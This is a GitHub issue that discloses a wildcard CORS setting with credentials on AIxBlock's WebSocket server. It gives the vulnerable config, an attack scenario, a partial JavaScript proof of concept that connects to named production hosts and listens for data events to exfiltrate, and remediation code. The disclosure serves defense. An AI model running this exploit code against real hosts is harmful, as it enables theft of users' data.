Skip to content

🚨 HIGH: CORS WebSocket Misconfiguration Enables Cross-Origin Data Extraction (CVSS 7.5) #255

@rz1989s

Description

@rz1989s

🚨 HIGH: CORS WebSocket Misconfiguration Enables Cross-Origin Data Extraction (CVSS 7.5)

Summary

Critical CORS misconfiguration in the WebSocket server allows any external website to establish cross-origin WebSocket connections and extract real-time data from AIxBlock platform, including workflow execution data, user activity, and sensitive business intelligence.

Vulnerability Details

  • CVSS Score: 7.5 (High)
  • Category: Cross-Origin Resource Sharing (CORS)
  • Impact: Real-time data extraction, privacy violations, business intelligence theft
  • Affected Component: /workflow/packages/backend/api/src/app/app.ts

Technical Analysis

Vulnerable Code Location

File: /workflow/packages/backend/api/src/app/app.ts:167-169

await app.register(fastifySocketIO, {
    cors: {
        origin: '*',        // ❌ ALLOWS ANY ORIGIN
        credentials: true   // ❌ ENABLES CREDENTIAL ACCESS
    },
    transports: ['websocket']
});

Root Cause

The WebSocket server is configured with wildcard CORS origin ('*') combined with credentials: true, allowing any external website to establish authenticated WebSocket connections and access real-time platform data.

Attack Scenario

Cross-Origin Data Extraction Attack

  1. Malicious Website Setup: Attacker hosts exploit on external domain
  2. WebSocket Connection: Malicious site connects to wss://workflow.aixblock.io
  3. Event Listening: Exploit subscribes to all real-time events
  4. Data Exfiltration: Sensitive data streamed to attacker's servers

Exploitable Data Types

  • Workflow Execution: Real-time flow run updates and status changes
  • Project Data: Project modifications and configuration changes
  • User Activity: User actions and behavioral patterns
  • System Status: Infrastructure health and performance metrics
  • Cross-Tenant Data: Potential access to multiple organization data

Business Impact

Data Security Risks

  • Real-Time Intelligence Theft: Live business process and workflow data exposure
  • Competitive Advantage Loss: Business logic and automation patterns revealed
  • Cross-Tenant Leakage: Data from multiple organizations potentially accessible
  • User Privacy Violation: Personal data and activity patterns exposed

Compliance & Legal Impact

  • GDPR Violations: Unauthorized personal data processing and transfer
  • Privacy Law Breach: Cross-border data sharing without consent
  • Business Confidentiality: Trade secrets and proprietary processes exposed
  • Regulatory Compliance: Potential violations of data protection regulations

Proof of Concept

Live Exploit Demonstration

Exploit URL: http://localhost:8080/cors-websocket-exploit.html
Server Status: ✅ Running and demonstrational ready

Exploitation Code (Key Components)

class CORSWebSocketExploit {
    async startExploit() {
        // Target AIxBlock WebSocket endpoints
        const targets = [
            'wss://workflow.aixblock.io',
            'wss://api.aixblock.io'
        ];
        
        for (const target of targets) {
            this.socket = io(target, {
                transports: ['websocket'],
                forceNew: true
            });
            
            // Listen for sensitive data events
            const dataEvents = [
                'flow-run-updated',
                'project-updated', 
                'user-activity',
                'workflow-executed'
            ];
            
            dataEvents.forEach(eventName => {
                this.socket.on(eventName, (data) => {
                    console.log(`💀 Stolen data via ${eventName}:`, data);
                    this.exfiltrateData(eventName, data);
                });
            });
        }
    }
}

Attack Success Indicators

// Successful cross-origin connection
this.socket.on('connect', () => {
    console.log('💀 VULNERABILITY CONFIRMED: Cross-origin WebSocket connection successful!');
    this.startDataExtraction();
});

Remediation

Immediate Fix (Secure CORS Configuration)

await app.register(fastifySocketIO, {
    cors: {
        origin: [
            'https://app.aixblock.io',
            'https://workflow.aixblock.io',
            'https://localhost:3000'  // Development only
        ], // ✅ SECURE: Specific trusted domains only
        credentials: true,
        methods: ['GET', 'POST'],
        allowedHeaders: ['Authorization', 'Content-Type']
    },
    transports: ['websocket']
});

Additional Security Measures

  1. Origin Validation: Server-side origin header verification
  2. Authentication Verification: WebSocket connection authentication required
  3. Event Filtering: Implement data access controls based on user permissions
  4. Rate Limiting: Apply connection and event rate limits
  5. Audit Logging: Log all WebSocket connections and data access

Security Headers Implementation

// Add security middleware
app.register(require('@fastify/helmet'), {
    crossOriginEmbedderPolicy: true,
    crossOriginOpenerPolicy: true,
    crossOriginResourcePolicy: { policy: "same-site" }
});

Testing Validation

Current Vulnerability Status

Expected Behavior After Fix

❌ Connection failed: CORS policy violation
❌ Origin 'http://malicious.com' blocked by CORS policy
✅ WebSocket connections restricted to trusted domains only

References

  • OWASP: WebSocket Security
  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • RFC 6455: The WebSocket Protocol Security Considerations

Attack Demonstration

The complete exploit demonstration is available at:

🌐 Live Exploit: http://localhost:8080/cors-websocket-exploit.html
🎯 Target: AIxBlock WebSocket Infrastructure
💀 Impact: Real-time cross-origin data extraction

Reporter: Security Research Team
Date: September 1, 2025
Severity: High (CVSS 7.5)
Status: Active vulnerability with working exploit
Responsible Disclosure: Complete remediation and secure configuration provided

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions